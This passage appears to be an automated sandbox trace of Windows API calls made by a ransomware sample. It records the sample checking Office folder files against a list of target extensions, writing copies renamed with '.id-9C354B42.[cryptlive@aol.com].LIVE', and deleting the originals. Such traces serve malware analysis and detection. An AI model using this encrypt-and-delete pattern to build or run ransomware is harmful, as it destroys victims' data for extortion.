Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.640] lstrlenW (lpString=".zip") returned 4 [0143.640] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.640] lstrlenW (lpString=".rar") returned 4 [0143.641] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.641] lstrlenW (lpString=".bz2") returned 4 [0143.641] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.641] lstrlenW (lpString=".7z") returned 3 [0143.641] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.641] lstrlenW (lpString=".dbf") returned 4 [0143.641] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.641] lstrlenW (lpString=".1cd") returned 4 [0143.641] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0143.641] lstrlenW (lpString=".jpg") returned 4 [0143.641] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.641] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0143.641] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0143.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.641] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0143.642] CloseHandle (hObject=0x2f8) returned 1 [0143.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 0x20 [0143.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0143.644] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.644] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.644] GetLastError () returned 0x0 [0143.644] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0143.645] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0143.646] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.646] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0143.646] SetEndOfFile (hFile=0x1ec) returned 1 [0143.646] CloseHandle (hObject=0x1ec) returned 1 [0143.646] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.646] SetEndOfFile (hFile=0x2f8) returned 1 [0143.649] CloseHandle (hObject=0x2f8) returned 1 [0143.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 1 [0143.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.650] lstrlenW (lpString=".doc") returned 4 [0143.650] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.650] lstrlenW (lpString=".docx") returned 5 [0143.650] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.650] lstrlenW (lpString=".pdf") returned 4 [0143.650] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.650] lstrlenW (lpString=".xls") returned 4 [0143.650] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.650] lstrlenW (lpString=".xlsx") returned 5 [0143.650] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.650] lstrlenW (lpString=".ppt") returned 4 [0143.650] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.650] lstrlenW (lpString=".zip") returned 4 [0143.650] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.650] lstrlenW (lpString=".rar") returned 4 [0143.650] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.650] lstrlenW (lpString=".bz2") returned 4 [0143.650] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.650] lstrlenW (lpString=".7z") returned 3 [0143.650] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.650] lstrlenW (lpString=".dbf") returned 4 [0143.650] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.650] lstrlenW (lpString=".1cd") returned 4 [0143.650] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.650] lstrlenW (lpString=".jpg") returned 4 [0143.651] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.651] lstrlenW (lpString=".doc") returned 4 [0143.651] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.651] lstrlenW (lpString=".docx") returned 5 [0143.651] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.651] lstrlenW (lpString=".pdf") returned 4 [0143.651] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.651] lstrlenW (lpString=".xls") returned 4 [0143.651] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.651] lstrlenW (lpString=".xlsx") returned 5 [0143.651] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.651] lstrlenW (lpString=".ppt") returned 4 [0143.651] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.651] lstrlenW (lpString=".zip") returned 4 [0143.651] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.651] lstrlenW (lpString=".rar") returned 4 [0143.651] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.651] lstrlenW (lpString=".bz2") returned 4 [0143.651] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.651] lstrlenW (lpString=".7z") returned 3 [0143.651] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.651] lstrlenW (lpString=".dbf") returned 4 [0143.651] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.651] lstrlenW (lpString=".1cd") returned 4 [0143.651] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0143.651] lstrlenW (lpString=".jpg") returned 4 [0143.651] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.652] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0143.652] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0143.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.819] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1844) returned 1 [0143.819] CloseHandle (hObject=0x1ec) returned 1 [0143.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 0x20 [0143.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.830] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.830] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0143.831] GetLastError () returned 0x0 [0143.831] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x734, lpOverlapped=0x0) returned 1 [0143.911] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x740, lpOverlapped=0x0) returned 1 [0143.912] ReadFile (in: hFile=0x38c, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.912] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.912] SetEndOfFile (hFile=0x1fc) returned 1 [0143.912] CloseHandle (hObject=0x1fc) returned 1 [0143.912] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.912] SetEndOfFile (hFile=0x38c) returned 1 [0143.915] CloseHandle (hObject=0x38c) returned 1 [0143.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 1 [0143.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0143.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0143.999] lstrlenW (lpString=".doc") returned 4 [0143.999] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0143.999] lstrlenW (lpString=".docx") returned 5 [0143.999] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0143.999] lstrlenW (lpString=".pdf") returned 4 [0143.999] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0143.999] lstrlenW (lpString=".xls") returned 4 [0143.999] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0143.999] lstrlenW (lpString=".xlsx") returned 5 [0143.999] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0143.999] lstrlenW (lpString=".ppt") returned 4 [0143.999] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0143.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0143.999] lstrlenW (lpString=".zip") returned 4 [0143.999] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0143.999] lstrlenW (lpString=".rar") returned 4 [0143.999] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0143.999] lstrlenW (lpString=".bz2") returned 4 [0143.999] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0143.999] lstrlenW (lpString=".7z") returned 3 [0143.999] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".dbf") returned 4 [0144.000] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".1cd") returned 4 [0144.000] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".jpg") returned 4 [0144.000] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".doc") returned 4 [0144.000] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString=".docx") returned 5 [0144.000] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0144.000] lstrlenW (lpString=".pdf") returned 4 [0144.000] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString=".xls") returned 4 [0144.000] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0144.000] lstrlenW (lpString=".xlsx") returned 5 [0144.000] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0144.000] lstrlenW (lpString=".ppt") returned 4 [0144.000] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".zip") returned 4 [0144.000] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0144.000] lstrlenW (lpString=".rar") returned 4 [0144.000] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString=".bz2") returned 4 [0144.000] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString=".7z") returned 3 [0144.000] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".dbf") returned 4 [0144.000] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0144.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.000] lstrlenW (lpString=".1cd") returned 4 [0144.001] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0144.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0144.001] lstrlenW (lpString=".jpg") returned 4 [0144.001] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0144.001] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0144.001] lstrlenW (lpString="ONENOTE.HXS") returned 11 [0144.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.001] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1750992) returned 1 [0144.001] CloseHandle (hObject=0x388) returned 1 [0144.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs")) returned 0x20 [0144.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0144.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.002] lstrlenW (lpString=".doc") returned 4 [0144.002] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.002] lstrlenW (lpString=".docx") returned 5 [0144.002] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0144.002] lstrlenW (lpString=".pdf") returned 4 [0144.002] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.002] lstrlenW (lpString=".xls") returned 4 [0144.002] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.002] lstrlenW (lpString=".xlsx") returned 5 [0144.002] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0144.002] lstrlenW (lpString=".ppt") returned 4 [0144.002] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.002] lstrlenW (lpString=".zip") returned 4 [0144.002] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.002] lstrlenW (lpString=".rar") returned 4 [0144.002] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.002] lstrlenW (lpString=".bz2") returned 4 [0144.002] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.002] lstrlenW (lpString=".7z") returned 3 [0144.002] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.002] lstrlenW (lpString=".dbf") returned 4 [0144.002] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.002] lstrlenW (lpString=".1cd") returned 4 [0144.002] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString=".jpg") returned 4 [0144.003] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString=".doc") returned 4 [0144.003] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.003] lstrlenW (lpString=".docx") returned 5 [0144.003] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0144.003] lstrlenW (lpString=".pdf") returned 4 [0144.003] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.003] lstrlenW (lpString=".xls") returned 4 [0144.003] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.003] lstrlenW (lpString=".xlsx") returned 5 [0144.003] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0144.003] lstrlenW (lpString=".ppt") returned 4 [0144.003] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString=".zip") returned 4 [0144.003] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.003] lstrlenW (lpString=".rar") returned 4 [0144.003] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.003] lstrlenW (lpString=".bz2") returned 4 [0144.003] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.003] lstrlenW (lpString=".7z") returned 3 [0144.003] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString=".dbf") returned 4 [0144.003] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString=".1cd") returned 4 [0144.003] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0144.003] lstrlenW (lpString=".jpg") returned 4 [0144.003] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.004] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0144.004] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21 [0144.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.004] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9704) returned 1 [0144.004] CloseHandle (hObject=0x388) returned 1 [0144.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll")) returned 0x20 [0144.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString=".doc") returned 4 [0144.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString=".docx") returned 5 [0144.005] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0144.005] lstrlenW (lpString=".pdf") returned 4 [0144.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString=".xls") returned 4 [0144.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString=".xlsx") returned 5 [0144.005] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0144.005] lstrlenW (lpString=".ppt") returned 4 [0144.005] lstrcmpiW 